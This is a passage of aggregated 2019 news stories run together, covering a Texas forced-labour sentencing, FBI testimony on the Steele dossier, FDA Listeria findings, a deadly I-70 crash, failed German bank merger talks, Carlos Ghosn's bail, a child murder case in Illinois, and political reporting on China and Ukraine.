Daily Mail, some vandals tried to break into the shark tank, which was filled with green embalming fluid. The great white sits in a tank of formaldehyde like a discount Damien Hirst. Posted by VICE on Monday, February 11, 2019 Crystal World and Prehistoric Journeys in Meadows, Australia, said it would rehome the shark, according to the Mail, and a spokesman, Shane McAlister, said it will difficult to restore shark, which died in 1998. He said vandals threw trash inside the sharks tank. Its a remarkable thing, for starters with all the vandalism and everything that has happened to the actual wildlife park and to Rosies tank, he said. A person behind the Save Rosie the Shark Facebook Page said that the shark would have probably been destroyed. She was close to being destroyed and thrown away, Trent Hooper told the Mail. Its such a great outcome. Australia rallied together to save Rosie and get her a forever home at Crystal World. He continued, It has been an exhausting week but we are very happy with Crystal World coming to the rescue. Mohamed Toure (L) and Denise Cros-Toure, a Fort Worth couple accused of enslaving a Guinean woman for 16 years. (Tarrant County Sheriff's Department via AP) Couple Get 7 Years in Prison Each for Enslaving Guinean Girl FORT WORTH, TexasA suburban Fort Worth couple has been sentenced to seven years in federal prison each for enslaving a Guinean woman for 16 years. A federal judge in Fort Worth, Texas, sentenced Mohamed Toure and Denise Cros-Toure each to two seven-year terms and one five-year term, all sentences to be served concurrently. The couple must also serve three years of supervised release upon completion of their prison terms and pay their victim $288,000 in restitution. They also will be deported to Guinea. The couple and defense attorneys are exploring an appeal, said Scott Palmer, attorney for Cros-Toure. Texas couple who enslaved girl for 16 years get 7-year prison term Mohamed Toure and his wife Denise Cros-Toure, both 58, guilty of bringing the young girl from Guinea to US and forcing her to work for them without pay in early 2000 https://t.co/5f9jAFFeOV Natasha Fatah (@NatashaFatah) April 24, 2019 Trial evidence showed the Toures brought the girl, then aged at least 5 years but perhaps as old as 13, from her rural Guinean village in 2000. They forced her to work without pay in their home as a housekeeper, cook and nanny until she fled and alerted authorities. Appearing in court during the trial, the woman told the jury she was beaten with a belt or an electrical cord when she didnt complete chores or burned food. Punishment also included shaving her head, washing her outside with a hose, and forcing her to sleep in a nearby park. She tried to choke me multiple times, Djena Diallo said, reported the Dallas Morning News. She pulled my hair. She also said that the couple called her dog, slave, and worthless, and noted she wasnt allowed to receive an education. Texas Couple Each Sentenced to Seven Years in Prison for Forced Labor and Related Offenses https://t.co/uFaDNkgy1a Justice Department (@TheJusticeDept) April 23, 2019 The Toures are the son and daughter-in-law of the late Guinean President Ahmed Sekou Toure, who helped lead Guinea to independence from French rule in 1958. Sekou Toure was the countrys first president, a role he held until his death in 1984. The Toures were convicted in January, and prosecutors had sought the full 20-year prison sentences allowed by law. However, U.S. District Judge Reed OConner tempered the sentence request. After they serve their sentences, they will be deported to Guinea. I hope that todays sentence brings some measure of justice and healing to the victim, who suffered untold trauma as a result of the defendants heinous crimes. The defendants stole her childhood and her labor for years, enriching themselves while leaving her with pain and an uncertain future, Assistant Attorney General Eric Dreiband of the Department of Justices Civil Rights Division said in a statement. Jury to decide if African woman brought to Southlake home to work without pay was slave or considered part of family https://t.co/IW8beYZ6Tq Dallas Morning News (@dallasnews) January 10, 2019 I am very grateful to all who supported, and continue to support, the victim as she attempts to rebuild her life. The Department of Justice will continue to investigate and vigorously prosecute human traffickers and vindicate the rights of their victims. Forced labor trafficking cases are notoriously difficult to prosecutein part because victims are often afraid to speak out, said U.S. Attorney Erin Nealy Cox. It took tremendous courage for this young woman to share her story at trial. Mohamed Toure and Denise Florence Cros-Toure, both 57, are charged with forced labor, harboring an alien for financial gain, https://t.co/tPUlcOBrwr Trenia Today (@treniatoday) September 20, 2018 However, Palmer said the judges decision to temper the sentence suggests the trial judge did not believe the pair were as evil as portrayed by prosecutors. I think he saw through the exaggerations and lies of the prosecution, he said. Epoch Times reporter Zack Stieber contributed to this report. The FBI seal is seen before a news conference at FBI headquarters in Washington on June 14, 2018. (Jose Luis Magana/AP Photo) FBI Learned Information That Might Bear on Christopher Steeles Credibility, Lawyer Told Congress A former FBI attorney who worked on the Russia investigation told Congress last year the bureau learned information about dossier author Christopher Steele that might bear on his credibility as a source. Trisha Anderson, the former principal deputy general counsel, said in a closed-door interview that meetings were held at the FBI with then-Deputy Director Andrew McCabe and the team working on the investigation to discuss Steele, a former MI6 officer who investigated President Donald Trump on behalf of the Clinton campaign and DNC. Steele provided information from his dossier to the FBI, State Department and members of the press. There were meetings with Mr. McCabe about the Russia investigation that involved discussions of the various reports that were generated by Chris Steele that we had received, both with respect to the content of the reports as well as what we had learned about Christopherwe, Im sorrythe FBI investigative team had learned about facts that might bear on his credibility as a source, Anderson said in the Oct. 31, 2018 interview, a transcript of which was obtained by The Daily Caller News Foundation. And what were those facts? You had mentioned the contents. More specifically, what were these discussions about? But start with the credibility issues, a congressional staffer asked Anderson. Anderson did not say when the meetings occurred. Nor did she say what the possible credibility issues might have been. When asked for further details, an FBI attorney intervened to say that Anderson could not answer more questions because they pertain to matters that are being looked at by the special counsel and its investigation. At some point after relying on Steele as a confidential source, FBI officials were told that Steele was working on behalf of the Clinton campaign and DNC to investigate Trump. The former British spy had been hired in June 2016 by Fusion GPS, an opposition research firm. Bruce Ohr, a Justice Department official who served as Steeles handler, also told FBI officials at one point during the investigation Steele said he was desperate to see Trump lose the election. Though the FBI was aware of that information, it was not included in applications for surveillance warrants on former Trump campaign adviser Carter Page. The FBI relied heavily on Steeles information to obtain the spy warrants. Steeles credibility as an FBI source has come under renewed scrutiny recently as the findings in the special counsels investigation have cast significant doubt on some of the more serious claims in the dossier. Republicans have accused the FBI of misleading the FISA court because the dossier was unverified when it was used in the spy warrant applications. The FBI declined to comment for this article. Anderson, who now works in private practice, also declined to comment. The special counsels report undercut many of the allegations in Steeles dossier, which claimed that there was a well-developed conspiracy between the Trump campaign and Russian government. The special counsels report all but debunked Steeles claim that Trump lawyer Michael Cohen visited Prague during the campaign to meet with Russian operatives. The report said that Cohen did not visit the European city. Robert Mueller, the special counsel, also said in the report that prosecutors did not find enough evidence to charge any Trump associates with conspiracy or with acting as unregistered Russian agents. No Trump associates were indicted or accused of being Russian agents, which was one of the implications of Steeles dossier. The Justice Departments office of the inspector general is reportedly investigating the FBIs use of Steele as a source as part of a broader probe into possible abuse of the FISA system. The New York Times reported on Friday that intelligence community officials determined at some point in 2017 that some of Steeles allegations were either likely wrong, or based on exaggeration by Steeles sub-sources. Investigators have also increasingly considered whether the dossier is the product of Russian disinformation planted with Steele, who served in Moscow through 2009. Other clues about how the FBI assessed Steeles credibility have trickled out in recent months. Sally Moyer, another top FBI lawyer, told the congressional task force in an Oct. 31, 2018 interview that she and other FBI officials relied in part on Ohr, the Justice Department official, to assess Steeles reliability. We were meeting, one of the reasons that the investigators were talking to Bruce Ohr was to try to get further clarity about Christopher Steele and his reliability, Moyer said in an Oct. 23, 2018 interview. That meeting took place on Nov. 21, 2016, a month after the FBI had claimed in its FISA application that Steele was a reliable and credible source. Ohr met with Steele twice before the election. He served as Steeles full-time handler after the FBI cut ties with the ex-spy on Nov. 1, 2016, after he made unauthorized disclosures to the media about being an FBI source. Lawmakers have pressed the FBI to provide memos regarding Steeles reliability. In 2018, then-Senate Judiciary Committee Chairman Chuck Grassley requested a Human Source Validation Report that the FBI created on Steele on Nov. 14, 2016. By Chuck Ross Follow Chuck on Twitter Follow Luke on Twitter FDA Found Listeria at 21 Percent of Ice Cream Factories, It Says The U.S. Food and Drug Administration (FDA) announced on April 24 that it found harmful bacteria in 21 percent of ice cream manufacturers. The FDA found Listeria in 19 of the 89 facilities inspected in 32 states in 2016 and 2017, according to a news release. Salmonella was also found in one of the ice cream factories, said the agency. Listeria can cause listeriosis, which includes symptoms such as fever, aches, confusion, stiff neck, and headaches. It can be fatal in children, the elderly, and people with compromised immune systems. Examining the findings by zone, the agency detected Listeria monocytogenes on food contact surfaces at one of the 19 establishments where Listeria monocytogenes had been found, whereas all the other detections of the pathogen involved non-food contact surfaces, said a report on the FDA website. Frank Yiannas, FDA deputy commissioner for food policy and response, stated that these activities help the FDA gather data and information necessary to develop prevention-based systems and, when contamination does occur, to respond swiftly to these hazards. The FDAs findings resulted in three recalls, he said, adding that ice cream makers were contacted by the agency to make corrections and implement safety plans to prevent bacteria from getting into its supply. These include two voluntary recalls of Working Cow Homemade Inc. ice creams over listeria and a Nelsons Creamery LLC recall due to undeclared soy lecithin in one product. Working Cows food facility registration was also suspended in 2018 before it was lifted in 2019 after the company changed the way it did business. Now, according to the FDA, it will only distribute products made by other manufacturers. Although many of these facilities were adhering to good manufacturing practices, we did find that some were in violation of the law, Yiannas added in a statement. The FDA added that its inspections were done to ensure that plants were in compliance with the Food Safety Modernization Act. The recent findings show that companies need to comply with the regulations, it said. Listeria monocytogenes and salmonella are examples of hazards, if identified in a food-safety plan, that a company would be required to minimize with preventive controls and verify that their controls are working, the FDA report said. Allen Sayler, a former FDA and USDA regulator, told IEG Policy that the findings are not a cause for alarm. When you are working with raw (food) material it is not unexpected to find Listeria, Sayler noted. The U.S. Centers for Disease Control estimates that about 48 million people get sick from foodborne illnesses per year in the United States. Thats about one in six Americans. Of that figure, the agency says, some 128,000 are hospitalized and 3,000 die. Blue Bell halted production in April 2015 after 10 people were hospitalized after consuming Listeria-contaminated ice cream. That month, the company recalled eight million gallons of ice cream and was forced to lay off 1,450 employees, CBS News reported. As of March 2018, Blue Bell products could be found in at least 17 states, according to the CBS report. Lakewood Police Department spokesman Ty Countryman briefs reporters about the deadly crash on the I-70 under Denver West Parkway bridge on April 25, 2019. (Lakewood Police Department / Google Maps) Fiery Crash on I-70 in Colorado Claims Multiple Lives, Death Toll Unspecified: Police Multiple people were killed in a large crash and fire that shut down Interstate 70 in both directions in Lakewood, Colorado. Ty Countryman with the Lakewood Police Department said a tractor-trailer heading east down a hill crashed into slower traffic in the afternoon hours of Thursday, April 25, sparking a massive fire. Countryman said the semi plowed into traffic that had been backed up near Denver West Colorado Mills Parkway due to an accident further up the road. He said that after impact, a vehicle ignited and the fire spread. A towering plume of black smoke was seen for miles as firefighters doused the burnt-out shells of several vehicles in the vicinity of the Denver West Parkway Bridge, The Associated Press reported. West Metro Fire Rescue said on Twitter that a firefighter suffered minor injuries when he was hit by debris, possibly from an exploding tire. Our crews working a multiple car crash on I-70 near Colorado Mills. Several vehicles are on fire, firefighters are working to extinguish the blaze. There are at least two injuries. Several agencies are assisting. Please avoid the area. pic.twitter.com/XUZygCKRS0 WestMetroFire (@WestMetroFire) April 25, 2019 The Lakewood Police Department said in a tweet that the highway would remain closed at least overnight. Investigation The Lakewood Police Department spokesman said the fiery pileup involved 15 vehicles and multiple people were killed. He did not specify a death toll, citing persistent hotspots and ongoing fire suppression efforts by West Metro Fire Rescue. We have now confirmed multiple fatalities in this, Countryman said at an on-location press conference around 9 p.m. local time. We still are just getting to the wreckage. He said the investigation is in its early stages, as fire crews were still working to make the site safe for investigators due to the the devastation and the fire at the crash scene. Theyre still working on the hotspots andI wouldnt say flare-upsbut the issues that come up. Six people were taken to the hospital. Their conditions are unknown. The driver of the semi is one of those six, Countryman said. Investigators are certainly going to talk to him this evening to try to piece together what we know and what we dont know in this crash right now. Countryman was earlier cited by 9News as vowing to investigate the cause of the tragedy. We have to try and figure out why this happened, Countryman said. The semi coming into the slower traffic. Theres got to be a reason. Well investigate and find out. The spokesman said investigators had begun interviewing witnesses to try piece together exactly what happened. We are still working on identifying those people that were killed and were still accounting for all people involved in the crash, Countryman said. Final update for the night on I-70 crash. Highway will remain closed at least overnight. We can confirm that there are multiple fatalities and 6 others taken to local hospitals. Posted by Lakewood Police Department on Thursday, April 25, 2019 Footage from the Crash Video footage from a news helicopter showed flames whipping off the vehicles and what appeared to be lumber spilled across the interstate. Local YouTuber Joshua McCutchen, who goes by the name Burger Planet, captured the moment the semi sped by him moments before crashing into stationary traffic ahead. He also captured footage from the scene of the crash and interviewed an eyewitness. Airborne traffic reporter John Morrissey posted an aerial photograph of the scene on Twitter. EB I70 is CLOSED at Ward Rd by this crash. School bus, tanker, and several cars involved. No word on injuries but several children are being evaluated in the 2 ambulances on scene. EB I70 is CLOSED at Ward Rd by this crash. School bus, tanker, and several cars involved. No word on injuries but several children are being evaluated in the 2 ambulances on scene. #cotraffic @KOANewsRadio pic.twitter.com/Tf5rwVvdsB John Morrissey (@KOAJetcopter) April 25, 2019 This is a developing story. The Associated Press contributed to this report. The corporate headquarters of Deutsche Bank (C) and Commerzbank (back, R) in the financial district in Frankfurt, Germany, on March 20, 2019. Thomas Lohnes/Getty Images German Ambitions Evaporate as Deutsche Bank Merger Talks With Commerzbank Collapse FRANKFURTGerman hopes of creating a national banking champion able to challenge global competitors were dashed on April 25 when Deutsche Bank and Commerzbank ended merger talks due to the risks of doing a deal, restructuring costs and capital demands. Germanys two largest banks announced that nearly six weeks of high-level negotiations about a tie-up had ended in failure, confirming an earlier Reuters report and immediately raising questions about the future of the Frankfurt-based rivals. The decision to ditch the talks followed a final early morning meeting between Deutsche Bank Chief Executive Christian Sewing and his Commerzbank counterpart Martin Zielke, two sources told Reuters. Both CEOs said a deal would not have created sufficient benefits to offset the risks and costs of a merger, which had been opposed by unions fearing 30,000 job losses and raised concerns among investors and regulators. While the talks are over, investors doubt either bank can go it alone for long under their current strategies given their low levels of profitability. German government officials, led by Finance Minister Olaf Scholz, had pushed for a tie-up to create a national banking champion and end questions over the future of both banks, which have struggled to recover since the financial crisis. Deutsche Banks 2018 return on equity was just 0.4 percent, trailing far behind rival U.S., and increasingly other European, investment banks, while Zielke said this month that Commerzbank does not have the market share for costly investments, fuelling speculation of an alternative tie-up if talks fell through. Deutsche Bank will now face pressure to make more radical changes, such as cuts to its U.S. investment bank as advocated by regulators and some major investors. It is already looking at a deal for its asset management unit DWS. Deutsche Bank will continue to review all alternatives, Germanys largest bank said. Bidders in the Wings Employees of both banks immediately welcomed the news, although a senior Commerzbank manager acknowledged it opened the door to further uncertainty as foreign competitors circle. It is clear that others will now come out of the woodwork with offers and ideas, the manager told Reuters. Doing nothing is not an option, Zielke has told his staff, 82 percent of whom were against a merger in an internal survey. Both UniCredit and ING Groep have expressed interest in Commerzbank, which is Germanys No. 2 lender and 15 percent owned by the government, sources have said. UniCredit and ING declined to comment after news that talks between Deutsche Bank and Commerzbank had failed. Some major Deutsche Bank investors had questioned the deals logic and were unwilling to stump up any extra cash to get it done, while credit ratings agencies had warned of risks. The European Central Bank would have asked Deutsche Bank to raise fresh funds before it gave the go-ahead for a merger, a person with direct knowledge of the matter said. The German central bank, which helps oversee the banks, stressed their individual health, calling them sound and stable. This was the case prior to discussions, during discussions and nowwithout qualification, Bundesbank executive board member Joachim Wuermeling said. Deutsche Bank also published preliminary earnings in which it said it expects to post a first-quarter net profit of about 200 million euros ($223 million), beating analysts expectations of 29 million. A merger would have been an enormously complicated and protracted undertaking. In the end, reason has won, said Ingo Speich, head of sustainability and corporate governance at Deka Investment, a shareholder in both banks, adding they urgently need to address their strategies. Alexandra Annecke, portfolio manager at Union Investment, which also holds shares in Deutsche Bank, said it needs to focus on increasing profitability, especially at its investment bank. Deutsche Banks finance chief James von Moltke told CNBC that the U.S. investment bank is a core part of our strategy. Gerhard Schick, finance activist at Finanzwende and a former member of the German parliament, welcomed the end of talks but cautioned that Deutsche Bank remains too great a risk. The bank is still far too large and would probably have to be rescued in an emergency, he said, with reference to the likelihood of Deutsche Bank needing to turn to the state to keep it afloat if it ran into difficulty. By Andreas Framke, Arno Schuetze, & Tom Sims Your digital subscription allows you to view any content, comment on any issue and submit your own news to our newsroom. Digital subscriptions do not include home delivery of the Tracy Press. To receive the paper at home, sign up for Premium Membership. Former Nissan Chairman Carlos Ghosn (C) is escorted as he walks out of the Tokyo Detention House following his release on bail in Tokyo on April 25, 2019. BEHROUZ MEHRI/AFP/Getty Images Ghosn Freed on Bail Again After Being Jailed on New Charges Carlos Ghosn walked out of a Tokyo detention center after winning release on bail for the second time, giving the deposed auto titan a chance to prepare his defense against charges of funneling millions of dollars from Nissan Motor Co. through an intermediary for his own purposes. A court set Ghosns 500 million yen ($4.5 million) bond earlier on April 25 with three conditions: that he live at a registered domestic address, that he not leave the country, and that he adhere to requirements meant to prevent the destruction of any evidence related to the case and other conditions. Hes also not allowed to see his wife, Carole, without court approval, his lawyers said. Ghosn was freed late April 25 after prosecutors last-ditch appeal of his release was rejected by the Tokyo district court. Dressed in a dark suit, white shirt, and no tie, he left the facility with one of his lawyers, Takashi Takano, at around 10:20 p.m. local time. They stepped into black Toyota van and drove off. In a statement issued after his release, Ghosn reasserted his innocence and said hell vigorously defend himself. He also criticized his treatment by Japanese authorities and the conditions placed on his wife. No person should ever be indefinitely held in solitary confinement for the purpose of being forced into making a confession, Ghosn said. But restricting communications and contact between my wife and me is cruel and unnecessary. We love each other very much, she answered all of the prosecutors questions in court, and she has done nothing wrong. Unlike the last time he was released, Ghosn wore no disguise. The first time he left jail, his lawyers disguised the former auto executive as a construction worker, which briefly became a sensational story of its own. Ghosn was detained for a second time on April 4, cutting short almost a month of freedom after previously paying $9 million in bail. Authorities said they detained him again because they believed he might destroy evidence in a case stretching back to his first arrest in November. Ghosn has proclaimed his innocence on all charges. Including the latest three-week stint, this means Ghosn has been detained for about 130 days since his arrest in November just after the private jet he was on landed at Tokyos Haneda airport. The only justification for keeping him in detention are that he will flee or destroy evidence, Stephen Givens, a professor of law at Sophia University in Tokyo, said before Ghosns latest bail decision. After the first two indictments, he was able to put together a set of conditions that told the court he wasnt likely to flee. The latest indictment against Ghosn was filed April 22. Using foreign corporate entities in 2017 and 2018, Nissan lost $5 million that was funneled into accounts controlled by Ghosn, prosecutors said. Those constitute the most serious allegations yet against the former chairman, who once led the global alliance between Nissan, Renault SA and Mitsubishi Motors Corp. The pending release will allow Ghosn to return home and work with his lawyers for his upcoming trial, which may start later this year or next year. Ghosn refuted the latest charges, saying prosecutors were aided and abetted by certain Nissan conspirators. Nissan reissued the same statement it made during previous developments in the Ghosn case, saying it cannot comment on judicial decisions or processes but that its own investigation found substantial evidence of blatantly unethical conduct by Ghosn and former right-hand-man Greg Kelly, who remains free on bail after being arrested along with Ghosn in November. After Ghosns first arrest, Nissan and Renault uncovered payments made through companies in Oman and Lebanon that allegedly were used for Ghosns personal benefit, including a yacht and his sons startup. One company, Beirut-based Good Faith Investments, made money transfers to a firm connected to Anthony Ghosn, people familiar with the matter said. Ghosns first arrest shook the auto alliance to its core. Since then, the three companies adopted a new governance structure designed for smoother and more equitable decision-making. Nissan, which swiftly removed Ghosn as chairman days after his first arrest, is seeking to move past the tumultuous chapter. The Yokohama-based automaker is on track to miss its full-year profit goal, earning less than partner Renault for the first time in a decade. The Japanese carmaker on April 24 slashed its preliminary operating profit for the second time to 318 billion yen for the year ended March, from 450 billion yen. It cited higher costs related to U.S. warranties, an adverse operating environment and the impact of recent corporate issues on sales. Before his latest arrest, Ghosn recorded a video in which he argued that Nissan executives either signed off on his actions or were conspiring against him because they feared losing their jobs if the company moved closer to Renault. He also criticized current executives for not fixing the companys poor performance. Im worried because obviously the performance of Nissan is declining, but also Im worried because I dont think there is any vision for the alliance being built, Ghosn said in the video, which was released after his latest arrest. By Kae Inoue Inmates Post RIP AJ in Windows as Parents Led to Courthouse Facing Murder Charges Inmates posted messages on the windows of the Illinois jail housing the parents accused of murdering their 5-year-old son A.J., as they were taken to the courthouse next door. R.I.P. A.J. can be seen on handmade posters in the windows of at least three windows of the McHenry County Correctional Facility in pictures taken by NBC Chicago on April 25. According to the news outlet, as many as five different signs could be seen posted on several different floors of the building, just before 8 a.m. As many as five different signs could be seen posted in windowspossibly by inmateson several floors of the building. Posted by NBC Chicago on Thursday, April 25, 2019 Joann Cunningham, 36, and Andrew Freund Sr. appeared separately that morning in the county courthouse, which is attached to the jail, for a bond hearing. They had been charged the day before with the murder of their son, Andrew A.J. Freund, and were both given a $5 million bond. A week after he had gone missing, the 5-year-olds body was found on April 24, wrapped in plastic and buried in a shallow grave, according to authorities. His parents are both charged with first-degree murder, aggravated battery, aggravated domestic battery, and failure to report a missing child or death. Freund Sr. additionally faces the charge of concealment of a homicidal death. Prosecutors on April 25 told the court that A.J. had been beaten to death, according to court documents made available by the Northwest Herald According to the documents they forced A.F. to remain in a cold shower for an extended period of time and or struck A.F. on or about his body, knowing said acts would cause the death of A.F., thereby causing the death. His body was found in a rural area of Woodstock, Crystal Lake police Chief James Black said at a news conference, according to The Associated Press. Woodstock is about 50 miles northwest of Chicago and a few miles from the familys home in Crystal Lake. According to CrimeOnline, A.J. was born with opioids in his system and taken into custody by the state shortly after his birth. Illinois officials will investigate to see if the Department of Children and Family Services (DCFS) failed to act in the case of A.J. Freund, the 5-year-old boy who was found dead in Woodstock on April 24, according to the Chicago Sun-times. DCFS staff returned A.J. to his parents in June 2015, officials said. And in 2018, DCFS caseworkers returned to the boys home to investigate neglect allegations, the newspaper reported. CrimeOnline also reported that the state visited the home 17 times before the boy died. [The boy] was not provided food on a regular basis, eating a meal on approximately four of the seven days of the week and a remainder of the time there was no food in the house, a court document read. The child was sent to school daily with no food and no money to purchase a lunch there was no food in the residence and the child had only marshmallows and water to eat. In December 2018, officers went to the home and saw the house was filthy and in a state of disrepair, according to CrimeOnline. They also reportedly found hazards inside the house that could have injured A.J. and his brother. Upstairs in the room where the boys slept the window was open and the smell of feces was overwhelming, the report said. The boys were running around the residence playing and I noticed [redacted] was only wearing a pullup and had a large bruise on his right hip. Jack Phillips contributed to this report. China's Foreign Minister Wang Yi speaks during a press conference briefing on the Belt and Road Summit at the Ministry of Foreign Affairs in Beijing on April 19, 2019. (Photo by Nicolas ASFOURI / AFP) (Photo credit should read NICOLAS ASFOURI/AFP/Getty Images) Insider: Chinas Ministry of Foreign Affairs Offers Sexual Services to Bribe Foreign Officials It is an open secret that many Chinese have heard about before. Chinas Ministry of Foreign Affairs offers sexual services to foreign diplomats as a form of bribery, so that they will do Chinas bidding. A specific example was recounted by a Chinese businessman who now lives in exile in the United States. He has since described many instances of corruption and abuse that he personally witnessed while working in China. Hu Liren, 52, is an inventor and entrepreneur from Shanghai, China. His company, Shanghai Guren Environmental Protection Technology Co., owns several patents on energy-saving air conditioning systems that utilize geothermal energy. In 2017, Hu discovered that the pipes supplied by a government-supported factory in Shandong Province to his company were faulty. Hu sought legal redress from several local government agencies and departments, to no avail. After about a year of fruitless efforts, Hu decided to move to the United States in September 2018 and seek justice at the Chinese embassy in Washington D.C. Sexual Bribery Hu first posted on Twitter April 19 a bold accusation: Chinas Ministry of Foreign Affairs has a special working team in Beijing, which is dedicated to finding beauties and sending them to the visiting foreign politicians to perform sexual bribes. In an exclusive interview with the Chinese-language Epoch Times on April 23, he explained the story behind his tweet. Hu said that one of his female friends was once recruited by the Ministry to provide sexual services to the president of an African country. But the president sexually violated her. She told Hu and four other friends about the incident. My friend is originally from northeastern China. She is in her 40s, beautiful and charming, Hu said. I really want to give you her name and show you her photos, but I shouldnt, Hu said, noting that his friend is still in China and could receive retribution if her identity is exposed. To protect her identity, Hu used a pseudonym to refer to her, Candy. Hu said a lady in her 50s was the madam paid by the Ministry of Foreign Affairs to provide prostitutes. She isnt an employee of the Ministry, but has good relations with several officials [in the special team], Hu explained. Several years ago, when an African president visited China, the presidents staff relayed to the Ministry that he wanted sexual services, but did not want to hire a prostitute. The madam reached Candy, as she was unemployed at the time and needed the money. After the madam and the Ministry agreed on a 100,000 yuan ($14,880) sexual service deal, Candy flew to Guangzhou City in southern Chinas Guangdong Province to accompany the African leader for two nights. After she [Candy] flew back from Guangzhou, we had a dinner together, in which she cried and cried after drinking heavily, Hu said. When Hu and Candys friends tried to comfort her, Candy told the story of how the African leader forced her to perform sex acts that she did not consent to. Candy said she felt insulted and humiliated. This is not an individual case, Hu said. The sexual services team at the Ministry of Foreign Affairs is in charge of this sexual bribery. This is not the first time foreign diplomats have been reported to get caught in a honey trap. In a sex scandal in 2011, South Korean authorities revealed that more than 10 South Korean diplomats working in China had sexual relations with a Chinese woman called Deng Xinmin, who was able to extract key intelligence information from them. Deng Xinmin, from Shanghai, was the honey trap. Her husband, a South Korean national whom media referred to as Mr. J, was the one who exposed her misdeeds. Mr. J. contacted South Korean authorities after he discovered sensitive information on his wifes USB stick, including the telephone numbers of 200 high-ranking South Korean government officials and congress members; the emergency contacts of the South Korean consulate in Shanghai; and the records of issued visas. The Seoul government said at a March 2011 press conference that the involved diplomats included the former consul general in Shanghai, Kim Jung Ki. Then Vice President Joe Biden arrives for a meeting with Then Ukrainian President Petro Poroshenko in Kyiv on Jan. 16, 2017. (Genya Savilov/AFP/Getty Images) Biden, Obama Officials Stood to Gain From Ukraine Influence Newly released evidence suggests Ukraine played key role in creating TrumpRussia collusion narrative at behest of Obama officials As Ukraine underwent dramatic changes in 2014, U.S. Vice President Joe Biden played a critical role in the Obama administrations involvement in the revolution that ousted Ukrainian President Viktor Yanukovych. Following the revolution, Biden would use his influence to help force the creation of the troubled National Anti-Corruption Bureau (NABU). Notably, during the 2016 election campaign, information leaked from NABU about Trump campaign manager Paul Manafort that helped to create the false narrative that Trump colluded with Russia to win the election. Biden also would use the threat of withholding $1 billion in U.S. loan guarantees to pressure Ukrainian President Petro Poroshenko to fire the prosecutor general. At the time, the prosecutor had been investigating Burisma, a Ukrainian natural gas giant that had appointed Bidens son, Hunter, as a board member. President Donald Trumps personal lawyer, Rudy Giuliani, recently said, Keep your eye on Ukraine. In his comments to the Washington Examiner, Giuliani highlighted the plot to create an investigation of President Trump, based on a false charge of conspiracy with the Russians to affect the 2016 elections. Obama Administrations 2014 Involvement On or shortly before Feb. 4, 2014, Victoria Nuland, the assistant secretary for European and Eurasian affairs in the Obama State Department, had a conversation with the U.S. ambassador to Ukraine, Geoffrey Pyatt, which was intercepted and leaked. In the call, Nuland and Pyatt appeared to be discussing the ouster of Yanukovych and the installation of opposition leader Arseniy Yatsenyuk as prime minister. Nuland favored opposition leader Yatsenyuk over his main rivals Vitali Klitschko and Oleh Tyahnybok, telling Pyatt: I think Yats is the guy whos got the economic experience, the governing experience. Hes the what he needs is Klitschko and Tyahnybok on the outside. Toward the end of the conversation, then-Vice President Biden was discussed as being willing to help cement the changeover in Ukraine: Geoffrey Pyatt: We want to try to get somebody with an international personality to come out here and help to midwife this thing. The other issue is some kind of outreach to Yanukovych, but we probably regroup on that tomorrow as we see how things start to fall into place. Victoria Nuland: So, on that piece Geoff, when I wrote the note [Bidens national security adviser Jake] Sullivans come back to me VFR [direct to me], saying you need Biden, and I said probably tomorrow for an atta-boy and to get the deets [details] to stick. So Bidens willing. Nuland and Pyatt met with Ukrainian opposition leaders Klitschko and Yatsenyuk, along with then-President Yanukovych, just days later on Feb. 7, 2014. Events then moved swiftly. On Feb. 22, 2014, Yanukovych was removed as president of Ukraine and fled to Russia. On Feb. 27, 2014, Yatsenyuk, the candidate favored by Nuland, was installed as prime minister of Ukraine. Klitschko was left out. Notably, Yatsenyuk would later resign in April 2016 amid corruption accusations. Bidens Involvement in Ukraine In April, Biden would get personally involved, as would his son, Hunter. On April 18, 2014, Hunter Biden was appointed to the board of directors for Burismaone of the largest natural gas companies in Ukraine. Four days later, on April 22, 2014, Vice President Biden traveled to Ukraine, offering his political support and $50 million in aid for Yatsenyuks shaky new government. Poroshenko, a billionaire politician, was elected as president of Ukraine on May 25, 2014. Biden became close to both men and helped Ukraine obtain a four-year, $17.5 billion IMF package in March 2015. In October 2016, Foreign Policy wrote a lengthy article, What Will Ukraine Do Without Uncle Joe, which described Bidens role in the removal of Ukraines general prosecutor, Victor Shokin. Shokin, the choice of Poroshenko, was portrayed as fumbling a major corruption case and hindering an investigation into two high-ranking state prosecutors arrested on corruption charges. The United States pushed for Shokins removal, and Biden led the effort by personally threatening to withhold $1 billion in loan guarantees. In an interview with The Atlantic, Biden recalled telling Poroshenko: Petro, youre not getting your billion dollars. Its OK, you can keep the [prosecutor] general. Just understandwere not paying if you do. Shokin was removed by Poroshenko shortly thereafter, in early 2016. But according to reporting by The Hill, at the time of his firing, Shokin had been investigating Burisma. Shokins investigation into Burisma had previously been disclosed in June 2017, by Front News International. Burisma is owned by Nikolai Zlochevsky (also known as Mykola Zlochevsky), the former minister of ecology for Ukraine. According to Front News, Zlochevsky issued a special permit for the extraction of a third of the gas produced in Ukraine to his own company, Burisma. According to the Ukrainian nonprofit Anti Corruption Action Center, Zlochevsky owns 38 permits held by 14 different companieswith Burisma accounting for the majority with 33 of the permits. Zlochevsky left Ukraine after Yanukovych fled to Russia during the Ukrainian Revolution known as Euromaidan. Investigation Into Burisma In the spring of 2014, the Ukrainian Prosecutor Generals Office opened an investigation at the behest of the UK prosecutors office, which was investigating money laundering allegations against Zlochevsky and had just frozen $23.5 million in assets allegedly belonging to him in early April 2014. Shokin, who wasnt appointed as general prosecutor until February 2015, wasnt yet involved in the case. Ukrainian prosecutors refused to provide the UK with needed documents, and in January 2015, a British court ordered the assets unfrozen. This action was pointedly called out in a speech by Pyatt, who stated, In the case of former Ecology Minister Mykola Zlochevsky, the UK authorities had seized $23 million in illicit assets that belonged to the Ukrainian people. Instead of receiving cooperation from Ukrainian prosecutors, they sent letters to Zlochevskys attorneys attesting that there was no case against him. As a result, the money was freed by the UK court, and shortly thereafter the money was moved to Cyprus. On Feb. 10, 2015, Shokin was appointed prosecutor general of Ukraine, and he picked up the investigation into Burisma, which reportedly continued until his formal resignation in February 2016. Around the same time that Zlochevskys assets were being frozen in the UK, Burisma appointed Hunter Biden to its board on April 18, 2014. Hunters compensation had never been disclosed by Burisma, which is a private company, but Ryan Toohey, a Burisma spokesman, told The New York Times that Bidens compensation was not out of the ordinary for similar board positions. However, according to The Hills reporting, Hunter Bidens firm, Rosemont Seneca Partners, was receiving regular paymentsusually more than $166,000 a monthfrom Burisma. The payments ran from the spring of 2014 through the fall of 2015 and reportedly totaled more than $3 million. The Hill article included a written answer from Shokin, who told Solomon that his investigation into Burisma had included plans for interrogations and other crime-investigation procedures into all members of the executive board, including 